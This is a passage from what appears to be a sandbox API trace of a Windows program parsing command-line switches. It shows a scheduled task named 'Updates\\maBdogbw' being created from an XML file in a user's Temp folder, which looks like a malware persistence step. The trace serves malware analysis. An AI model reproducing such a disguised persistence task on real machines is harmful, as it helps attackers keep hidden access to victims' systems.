4 [0292.045] lstrlenW (lpString="|ru|") returned 4 [0292.045] lstrlenW (lpString="|TN|") returned 4 [0292.045] StrStrIW (lpFirst="|ru|", lpSrch="|TN|") returned 0x0 [0292.045] SetLastError (dwErrCode=0x490) [0292.045] lstrlenW (lpString="rp") returned 2 [0292.045] lstrlenW (lpString="rp") returned 2 [0292.045] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.045] lstrlenW (lpString="TN") returned 2 [0292.045] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.045] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|rp|") returned 4 [0292.045] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.045] lstrlenW (lpString="|rp|") returned 4 [0292.045] lstrlenW (lpString="|TN|") returned 4 [0292.045] StrStrIW (lpFirst="|rp|", lpSrch="|TN|") returned 0x0 [0292.045] SetLastError (dwErrCode=0x490) [0292.045] lstrlenW (lpString="sc") returned 2 [0292.045] lstrlenW (lpString="sc") returned 2 [0292.045] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.046] lstrlenW (lpString="TN") returned 2 [0292.046] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.046] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|sc|") returned 4 [0292.046] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.046] lstrlenW (lpString="|sc|") returned 4 [0292.046] lstrlenW (lpString="|TN|") returned 4 [0292.046] StrStrIW (lpFirst="|sc|", lpSrch="|TN|") returned 0x0 [0292.046] SetLastError (dwErrCode=0x490) [0292.046] lstrlenW (lpString="mo") returned 2 [0292.046] lstrlenW (lpString="mo") returned 2 [0292.046] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.046] lstrlenW (lpString="TN") returned 2 [0292.046] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.046] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|mo|") returned 4 [0292.046] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.046] lstrlenW (lpString="|mo|") returned 4 [0292.046] lstrlenW (lpString="|TN|") returned 4 [0292.046] StrStrIW (lpFirst="|mo|", lpSrch="|TN|") returned 0x0 [0292.046] SetLastError (dwErrCode=0x490) [0292.046] lstrlenW (lpString="d") returned 1 [0292.046] lstrlenW (lpString="d") returned 1 [0292.046] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.046] lstrlenW (lpString="TN") returned 2 [0292.046] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.046] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|d|") returned 3 [0292.046] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.046] lstrlenW (lpString="|d|") returned 3 [0292.046] lstrlenW (lpString="|TN|") returned 4 [0292.047] SetLastError (dwErrCode=0x490) [0292.047] lstrlenW (lpString="m") returned 1 [0292.047] lstrlenW (lpString="m") returned 1 [0292.047] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.047] lstrlenW (lpString="TN") returned 2 [0292.047] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.047] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|m|") returned 3 [0292.047] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.047] lstrlenW (lpString="|m|") returned 3 [0292.047] lstrlenW (lpString="|TN|") returned 4 [0292.047] SetLastError (dwErrCode=0x490) [0292.047] lstrlenW (lpString="i") returned 1 [0292.047] lstrlenW (lpString="i") returned 1 [0292.047] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.047] lstrlenW (lpString="TN") returned 2 [0292.047] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.047] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|i|") returned 3 [0292.047] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.047] lstrlenW (lpString="|i|") returned 3 [0292.047] lstrlenW (lpString="|TN|") returned 4 [0292.047] SetLastError (dwErrCode=0x490) [0292.047] lstrlenW (lpString="tn") returned 2 [0292.047] lstrlenW (lpString="tn") returned 2 [0292.047] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.047] lstrlenW (lpString="TN") returned 2 [0292.047] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.048] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|tn|") returned 4 [0292.048] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.048] lstrlenW (lpString="|tn|") returned 4 [0292.048] lstrlenW (lpString="|TN|") returned 4 [0292.048] StrStrIW (lpFirst="|tn|", lpSrch="|TN|") returned="|tn|" [0292.048] SetLastError (dwErrCode=0x0) [0292.048] SetLastError (dwErrCode=0x0) [0292.048] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0292.048] lstrlenW (lpString="-/") returned 2 [0292.048] StrChrIW (lpStart="-/", wMatch=0x55) returned 0x0 [0292.048] SetLastError (dwErrCode=0x490) [0292.048] SetLastError (dwErrCode=0x490) [0292.048] SetLastError (dwErrCode=0x0) [0292.048] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0292.048] StrChrIW (lpStart="Updates\\maBdogbw", wMatch=0x3a) returned 0x0 [0292.048] SetLastError (dwErrCode=0x490) [0292.048] SetLastError (dwErrCode=0x0) [0292.048] lstrlenW (lpString="Updates\\maBdogbw") returned 16 [0292.048] SetLastError (dwErrCode=0x0) [0292.048] SetLastError (dwErrCode=0x0) [0292.048] lstrlenW (lpString="/XML") returned 4 [0292.048] lstrlenW (lpString="-/") returned 2 [0292.048] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0292.048] lstrlenW (lpString="create") returned 6 [0292.048] lstrlenW (lpString="create") returned 6 [0292.048] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.048] lstrlenW (lpString="XML") returned 3 [0292.048] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.048] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|create|") returned 8 [0292.048] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.048] lstrlenW (lpString="|create|") returned 8 [0292.048] lstrlenW (lpString="|XML|") returned 5 [0292.049] StrStrIW (lpFirst="|create|", lpSrch="|XML|") returned 0x0 [0292.049] SetLastError (dwErrCode=0x490) [0292.049] lstrlenW (lpString="?") returned 1 [0292.049] lstrlenW (lpString="?") returned 1 [0292.049] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.049] lstrlenW (lpString="XML") returned 3 [0292.049] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.049] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|?|") returned 3 [0292.049] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.049] lstrlenW (lpString="|?|") returned 3 [0292.049] lstrlenW (lpString="|XML|") returned 5 [0292.049] SetLastError (dwErrCode=0x490) [0292.049] lstrlenW (lpString="s") returned 1 [0292.049] lstrlenW (lpString="s") returned 1 [0292.049] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.049] lstrlenW (lpString="XML") returned 3 [0292.049] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.049] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|s|") returned 3 [0292.049] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.049] lstrlenW (lpString="|s|") returned 3 [0292.049] lstrlenW (lpString="|XML|") returned 5 [0292.049] SetLastError (dwErrCode=0x490) [0292.049] lstrlenW (lpString="u") returned 1 [0292.049] lstrlenW (lpString="u") returned 1 [0292.049] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.049] lstrlenW (lpString="XML") returned 3 [0292.049] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.049] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|u|") returned 3 [0292.049] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.049] lstrlenW (lpString="|u|") returned 3 [0292.050] lstrlenW (lpString="|XML|") returned 5 [0292.050] SetLastError (dwErrCode=0x490) [0292.050] lstrlenW (lpString="p") returned 1 [0292.050] lstrlenW (lpString="p") returned 1 [0292.050] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.050] lstrlenW (lpString="XML") returned 3 [0292.050] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.050] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|p|") returned 3 [0292.050] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.050] lstrlenW (lpString="|p|") returned 3 [0292.050] lstrlenW (lpString="|XML|") returned 5 [0292.050] SetLastError (dwErrCode=0x490) [0292.050] lstrlenW (lpString="ru") returned 2 [0292.050] lstrlenW (lpString="ru") returned 2 [0292.113] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.113] lstrlenW (lpString="XML") returned 3 [0292.113] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.113] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|ru|") returned 4 [0292.113] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.113] lstrlenW (lpString="|ru|") returned 4 [0292.113] lstrlenW (lpString="|XML|") returned 5 [0292.113] SetLastError (dwErrCode=0x490) [0292.113] lstrlenW (lpString="rp") returned 2 [0292.113] lstrlenW (lpString="rp") returned 2 [0292.113] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.113] lstrlenW (lpString="XML") returned 3 [0292.113] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.113] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|rp|") returned 4 [0292.113] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.113] lstrlenW (lpString="|rp|") returned 4 [0292.113] lstrlenW (lpString="|XML|") returned 5 [0292.113] SetLastError (dwErrCode=0x490) [0292.113] lstrlenW (lpString="sc") returned 2 [0292.113] lstrlenW (lpString="sc") returned 2 [0292.113] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.113] lstrlenW (lpString="XML") returned 3 [0292.114] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.114] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|sc|") returned 4 [0292.114] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.114] lstrlenW (lpString="|sc|") returned 4 [0292.114] lstrlenW (lpString="|XML|") returned 5 [0292.114] SetLastError (dwErrCode=0x490) [0292.114] lstrlenW (lpString="mo") returned 2 [0292.114] lstrlenW (lpString="mo") returned 2 [0292.114] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.114] lstrlenW (lpString="XML") returned 3 [0292.114] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.114] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|mo|") returned 4 [0292.114] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.114] lstrlenW (lpString="|mo|") returned 4 [0292.114] lstrlenW (lpString="|XML|") returned 5 [0292.114] SetLastError (dwErrCode=0x490) [0292.114] lstrlenW (lpString="d") returned 1 [0292.114] lstrlenW (lpString="d") returned 1 [0292.114] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.114] lstrlenW (lpString="XML") returned 3 [0292.114] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.114] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|d|") returned 3 [0292.114] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.114] lstrlenW (lpString="|d|") returned 3 [0292.114] lstrlenW (lpString="|XML|") returned 5 [0292.115] SetLastError (dwErrCode=0x490) [0292.115] lstrlenW (lpString="m") returned 1 [0292.115] lstrlenW (lpString="m") returned 1 [0292.115] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.115] lstrlenW (lpString="XML") returned 3 [0292.115] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.115] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|m|") returned 3 [0292.115] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.115] lstrlenW (lpString="|m|") returned 3 [0292.115] lstrlenW (lpString="|XML|") returned 5 [0292.115] SetLastError (dwErrCode=0x490) [0292.115] lstrlenW (lpString="i") returned 1 [0292.115] lstrlenW (lpString="i") returned 1 [0292.115] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.115] lstrlenW (lpString="XML") returned 3 [0292.115] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.115] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|i|") returned 3 [0292.115] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.115] lstrlenW (lpString="|i|") returned 3 [0292.115] lstrlenW (lpString="|XML|") returned 5 [0292.115] SetLastError (dwErrCode=0x490) [0292.115] lstrlenW (lpString="tn") returned 2 [0292.115] lstrlenW (lpString="tn") returned 2 [0292.115] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.115] lstrlenW (lpString="XML") returned 3 [0292.116] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.116] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|tn|") returned 4 [0292.116] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.116] lstrlenW (lpString="|tn|") returned 4 [0292.116] lstrlenW (lpString="|XML|") returned 5 [0292.116] SetLastError (dwErrCode=0x490) [0292.116] lstrlenW (lpString="tr") returned 2 [0292.116] lstrlenW (lpString="tr") returned 2 [0292.116] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.116] lstrlenW (lpString="XML") returned 3 [0292.116] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.116] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|tr|") returned 4 [0292.116] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.116] lstrlenW (lpString="|tr|") returned 4 [0292.116] lstrlenW (lpString="|XML|") returned 5 [0292.116] SetLastError (dwErrCode=0x490) [0292.116] lstrlenW (lpString="st") returned 2 [0292.116] lstrlenW (lpString="st") returned 2 [0292.116] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.116] lstrlenW (lpString="XML") returned 3 [0292.116] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.116] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|st|") returned 4 [0292.116] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.116] lstrlenW (lpString="|st|") returned 4 [0292.116] lstrlenW (lpString="|XML|") returned 5 [0292.116] SetLastError (dwErrCode=0x490) [0292.117] lstrlenW (lpString="sd") returned 2 [0292.117] lstrlenW (lpString="sd") returned 2 [0292.117] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.117] lstrlenW (lpString="XML") returned 3 [0292.117] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.117] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|sd|") returned 4 [0292.117] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.117] lstrlenW (lpString="|sd|") returned 4 [0292.117] lstrlenW (lpString="|XML|") returned 5 [0292.117] SetLastError (dwErrCode=0x490) [0292.117] lstrlenW (lpString="ed") returned 2 [0292.117] lstrlenW (lpString="ed") returned 2 [0292.117] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.117] lstrlenW (lpString="XML") returned 3 [0292.117] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.117] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|ed|") returned 4 [0292.117] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.117] lstrlenW (lpString="|ed|") returned 4 [0292.117] lstrlenW (lpString="|XML|") returned 5 [0292.117] SetLastError (dwErrCode=0x490) [0292.117] lstrlenW (lpString="it") returned 2 [0292.117] lstrlenW (lpString="it") returned 2 [0292.117] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.117] lstrlenW (lpString="XML") returned 3 [0292.117] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.118] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|it|") returned 4 [0292.118] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.118] lstrlenW (lpString="|it|") returned 4 [0292.118] lstrlenW (lpString="|XML|") returned 5 [0292.118] SetLastError (dwErrCode=0x490) [0292.118] lstrlenW (lpString="et") returned 2 [0292.118] lstrlenW (lpString="et") returned 2 [0292.118] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.118] lstrlenW (lpString="XML") returned 3 [0292.118] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.118] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|et|") returned 4 [0292.118] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.118] lstrlenW (lpString="|et|") returned 4 [0292.118] lstrlenW (lpString="|XML|") returned 5 [0292.118] SetLastError (dwErrCode=0x490) [0292.118] lstrlenW (lpString="k") returned 1 [0292.118] lstrlenW (lpString="k") returned 1 [0292.118] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.118] lstrlenW (lpString="XML") returned 3 [0292.118] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.118] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|k|") returned 3 [0292.118] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.118] lstrlenW (lpString="|k|") returned 3 [0292.118] lstrlenW (lpString="|XML|") returned 5 [0292.118] SetLastError (dwErrCode=0x490) [0292.118] lstrlenW (lpString="du") returned 2 [0292.119] lstrlenW (lpString="du") returned 2 [0292.119] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.119] lstrlenW (lpString="XML") returned 3 [0292.119] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.119] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|du|") returned 4 [0292.119] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.119] lstrlenW (lpString="|du|") returned 4 [0292.119] lstrlenW (lpString="|XML|") returned 5 [0292.119] SetLastError (dwErrCode=0x490) [0292.119] lstrlenW (lpString="ri") returned 2 [0292.119] lstrlenW (lpString="ri") returned 2 [0292.119] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.119] lstrlenW (lpString="XML") returned 3 [0292.119] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.119] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|ri|") returned 4 [0292.119] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.119] lstrlenW (lpString="|ri|") returned 4 [0292.119] lstrlenW (lpString="|XML|") returned 5 [0292.119] SetLastError (dwErrCode=0x490) [0292.119] lstrlenW (lpString="z") returned 1 [0292.119] lstrlenW (lpString="z") returned 1 [0292.119] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.119] lstrlenW (lpString="XML") returned 3 [0292.119] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.119] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|z|") returned 3 [0292.120] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.120] lstrlenW (lpString="|z|") returned 3 [0292.120] lstrlenW (lpString="|XML|") returned 5 [0292.120] SetLastError (dwErrCode=0x490) [0292.120] lstrlenW (lpString="f") returned 1 [0292.120] lstrlenW (lpString="f") returned 1 [0292.120] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.120] lstrlenW (lpString="XML") returned 3 [0292.120] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.120] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|f|") returned 3 [0292.120] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.120] lstrlenW (lpString="|f|") returned 3 [0292.120] lstrlenW (lpString="|XML|") returned 5 [0292.120] SetLastError (dwErrCode=0x490) [0292.120] lstrlenW (lpString="v1") returned 2 [0292.120] lstrlenW (lpString="v1") returned 2 [0292.120] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.120] lstrlenW (lpString="XML") returned 3 [0292.120] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.120] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|v1|") returned 4 [0292.120] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.120] lstrlenW (lpString="|v1|") returned 4 [0292.120] lstrlenW (lpString="|XML|") returned 5 [0292.120] SetLastError (dwErrCode=0x490) [0292.120] lstrlenW (lpString="xml") returned 3 [0292.121] lstrlenW (lpString="xml") returned 3 [0292.121] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.121] lstrlenW (lpString="XML") returned 3 [0292.121] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.121] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|xml|") returned 5 [0292.121] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|XML|") returned 5 [0292.121] lstrlenW (lpString="|xml|") returned 5 [0292.121] lstrlenW (lpString="|XML|") returned 5 [0292.121] StrStrIW (lpFirst="|xml|", lpSrch="|XML|") returned="|xml|" [0292.121] SetLastError (dwErrCode=0x0) [0292.121] SetLastError (dwErrCode=0x0) [0292.121] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.121] lstrlenW (lpString="-/") returned 2 [0292.121] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0292.121] SetLastError (dwErrCode=0x490) [0292.121] SetLastError (dwErrCode=0x490) [0292.121] SetLastError (dwErrCode=0x0) [0292.121] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.121] StrChrIW (lpStart="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", wMatch=0x3a) returned=":\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp" [0292.121] lstrlenW 